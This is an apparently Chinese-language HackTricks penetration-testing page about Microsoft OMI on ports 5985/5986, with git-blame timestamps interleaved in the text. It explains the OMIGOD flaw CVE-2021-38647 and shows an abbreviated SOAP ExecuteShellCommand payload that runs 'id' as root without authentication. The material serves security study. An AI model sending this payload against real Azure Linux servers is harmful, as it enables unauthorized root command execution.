2024-07-19 04:51:22 +00:00
# 5985,5986 - Pentesting OMI
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
< details >
2024-07-19 04:51:22 +00:00
< summary > Support HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 04:51:22 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 04:51:22 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-09 12:48:25 +00:00
### **基本信息**
2022-02-02 14:36:35 +00:00
2024-07-19 04:51:22 +00:00
**OMI** 被微软作为一个 ** [开源 ](https://github.com/microsoft/omi )** 工具发布,旨在进行远程配置管理。它特别适用于在 Azure 上使用以下服务的 Linux 服务器:
2022-02-02 14:36:35 +00:00
2024-02-09 12:48:25 +00:00
- **Azure 自动化**
- **Azure 自动更新**
- **Azure 运营管理套件**
- **Azure 日志分析**
- **Azure 配置管理**
- **Azure 诊断**
2022-02-02 14:36:35 +00:00
2024-07-19 04:51:22 +00:00
当这些服务被激活时,进程 `omiengine` 以 root 身份启动并监听所有接口。
2022-02-02 14:36:35 +00:00
2024-07-19 04:51:22 +00:00
**默认端口** 使用 **5985** (http) 和 **5986** (https)。
2022-02-02 14:36:35 +00:00
2024-02-09 12:48:25 +00:00
### **[CVE-2021-38647 漏洞](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
2022-02-02 14:36:35 +00:00
2024-07-19 04:51:22 +00:00
如在 9 月 16 日观察到的,部署在 Azure 上的 Linux 服务器由于 OMI 的一个易受攻击版本而易受攻击。此漏洞在于 OMI 服务器通过 `/wsman` 端点处理消息时不需要身份验证头,错误地授权了客户端。
2022-02-02 14:36:35 +00:00
2024-07-19 04:51:22 +00:00
攻击者可以通过发送不带身份验证头的 "ExecuteShellCommand" SOAP 有效负载来利用此漏洞,迫使服务器以 root 权限执行命令。
2022-02-02 14:36:35 +00:00
```xml
< s:Envelope xmlns:s = "http://www.w3.org/2003/05/soap-envelope" xmlns:a = "http://schemas.xmlsoap.org/ws/2004/08/addressing"
2023-08-03 19:12:22 +00:00
...
< s:Body >
< p:ExecuteShellCommand_INPUT xmlns:p = "http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem" >
< p:command > id< / p:command >
< p:timeout > 0< / p:timeout >
< / p:ExecuteShellCommand_INPUT >
< / s:Body >
2022-02-02 14:36:35 +00:00
< / s:Envelope >
```
2024-07-19 04:51:22 +00:00
有关此CVE的更多信息 ** [请查看此处 ](https://github.com/horizon3ai/CVE-2021-38647 )**。
2023-08-03 19:12:22 +00:00
## 参考资料
2022-02-02 14:36:35 +00:00
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/ ](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/ )
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/ ](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/ )
2022-04-28 16:01:33 +00:00
2024-07-19 04:51:22 +00:00
{% hint style="success" %}
学习和实践AWS黑客技术: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
学习和实践GCP黑客技术: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks培训GCP红队专家(GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
< details >
2024-07-19 04:51:22 +00:00
< summary > 支持HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 04:51:22 +00:00
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks )和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 04:51:22 +00:00
{% endhint %}